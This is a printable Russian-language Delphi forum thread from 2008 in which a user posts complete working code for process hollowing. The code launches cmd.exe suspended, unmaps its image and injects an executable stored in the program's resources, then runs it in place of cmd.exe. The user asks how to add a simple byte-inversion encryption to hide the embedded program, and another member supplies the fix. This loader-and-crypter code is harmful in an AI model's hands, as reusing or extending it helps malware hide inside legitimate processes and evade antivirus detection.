Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: WinAPI и системное программирование > Проблемы при обработки ресурсов


Автор: ne0n 16.4.2008, 15:51
вообщем нашел код тут на форуме которые позволяет запустить приложения находящиеся в ресрсах моей программы сразу из памяти. на всякий случай приведу оригенальный код:
Код

program project2;

uses
  Windows,
  sysutils,
  Variants,
  rxtypes;

{$R rcx.res}

Var
 nb, i: Cardinal;
 ZwUnmapViewOfSection: function (SectionHandle: THandle;
  p: Pointer): DWord; stdcall;

function protect(characteristics: ULONG): ULONG;
const  mapping: array [0..7] of ULONG =
  ( PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
    PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
PAGE_EXECUTE_READWRITE);
begin
  Result := mapping[characteristics shr 29];
end;

var
  pi: TProcessInformation;
  si: TStartupInfo;
  x, p, q: Pointer;
  nt: PIMAGE_NT_HEADERS;
  context: TContext;
  sect: PIMAGE_SECTION_HEADER;
  hNTDLL: THandle;
begin
   hNTDLL := LoadLibrary( 'ntdll.dll' );
   if( hNTDLL <> NULL ) then
   Begin
      @ZwUnmapViewOfSection := GetProcAddress( hNTDLL, 'ZwUnmapViewOfSection' );
      if( @ZwUnmapViewOfSection = nil ) then
      Begin
         FreeLibrary( hNTDLL );
         ExitProcess( 0 );
      end;
   end else ExitProcess( 0 );

  si.cb := SizeOf(si);
  CreateProcess(nil, 'cmd.exe', nil, nil, FALSE, CREATE_SUSPENDED, nil, nil,
si, pi);

  context.ContextFlags := CONTEXT_INTEGER;
  GetThreadContext(pi.hThread,  context);

 ReadProcessMemory(pi.hProcess,
  PCHAR(context.ebx) + 8,
   @x, sizeof (x),
   nb
   );

  ZwUnmapViewOfSection(pi.hProcess, x);

  p := LockResource(LoadResource(Hinstance, FindResource(Hinstance, 'EXE',
RT_RCDATA)));

  //win32Check(p <> nil);
 if p = nil then exit;

  nt := PIMAGE_NT_HEADERS(PCHAR(p) + PIMAGE_DOS_HEADER(p).e_lfanew);

  q := VirtualAllocEx( pi.hProcess,
                       Pointer(nt.OptionalHeader.ImageBase),
                       nt.OptionalHeader.SizeOfImage,
                       MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  WriteProcessMemory(pi.hProcess, q, p, nt.OptionalHeader.SizeOfHeaders, nb);

  sect := PIMAGE_SECTION_HEADER(nt);
  Inc(PIMAGE_NT_HEADERS(sect));

  for I := 0 to nt.FileHeader.NumberOfSections - 1 do
    begin
        WriteProcessMemory(pi.hProcess,
                           PCHAR(q) + sect.VirtualAddress,
                           PCHAR(p) + sect.PointerToRawData,
                           sect.SizeOfRawData, nb);

        VirtualProtectEx( pi.hProcess,
                          PCHAR(q) + sect.VirtualAddress,
                          sect.SizeOfRawData,
                          protect(sect.Characteristics),
                          @x);
        Inc(sect);
    end;

  WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, @q, sizeof(q), nb);

  context.Eax := ULONG(q) + nt.OptionalHeader.AddressOfEntryPoint;

  SetThreadContext(pi.hThread, context);

  ResumeThread(pi.hThread);
  FreeLibrary( hNTDLL );
end.


так вот все работает прекрсано. Но мне нужно чуть доработать этот код.
Т.е. необходимо немного защитить прогу лежащию в ресурсе, ну для этого я с каждым байтом программы выполнил инверсию (лог.операция not) и помещаю в ресурсы программы. т.е. по факту имеем пошифрованный ресурс.
так вот проблема как раз происходит с приведением этого ресурса в нормальный вид.

значит ход моих действий:
после того как получил указетль на нужный ресурс:
Код

p := LockResource(LoadResource(Hinstance, FindResource(Hinstance, 'EXE',RT_RCDATA)));


получаю его размер:
Код

ResourceSize:=SizeOfResource(HInstance,FindResource(Hinstance, 'EXE',RT_RCDATA));


далее сохраняю значение указателя на начало ресурсов:
Код

sec_p:=p;// p,sec_p:pointer;


а затем пускаю цикл расшифровки ресурсов в памяти:
Код

for i:=1 to ResourceSize do
      begin
           buf:=(pbyte(p))^; //получаю байт лежащий по адресу p
            asm
              not buf; // "дешифруем" =)))
            end;
          //!!!!!!!!!вот сдесь туплю, надо записать обратно buf по адресу p!!!!!
         //Как тока не извращался все равно косяки вылетают
      inc(pbyte(p),sizeOf(byte));//переход на следующий байт
      end;
p:= sec_p;//востанавливаю p ну и дальше все как в изначальном исходнике!



за ранее спасибо. smile 

Автор: anwe 16.4.2008, 21:45
Без перезаписи, просто сразу инвертируешь:
Код

//           buf:=(pbyte(p))^; //получаю байт лежащий по адресу p
//            asm
//              not buf; // "дешифруем" =)))
//           end;
byte(p^):=not(pbyte(p))^

Автор: ne0n 16.4.2008, 22:00
anwe, все равно Acces Violation вылетает, я уж ток как и не пробывал...
сам не могу понять в чем проблема...

Автор: anwe 16.4.2008, 22:06
Ааааа, ты вон про что... Я думал не получается именно обратно инвертированный байт всунуть.
Это ошибка доступа к памяти. Значит ячейка памяти, куда хочешь записать закрыта: писать туда нельзя.

Автор: ne0n 16.4.2008, 22:15
вот вот, я уже догадался и токачто походу понял причину все дело в LockResource,
она блокирует эту память и похоже она доступна только для чтения. но блин попрбовал без нее..резулятат тотже((( даж не знаю че делать smile 

Автор: ne0n 16.4.2008, 22:56
Все проблема решена smile 
Спасибо anwe, за точто навел на мысль верную))))

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)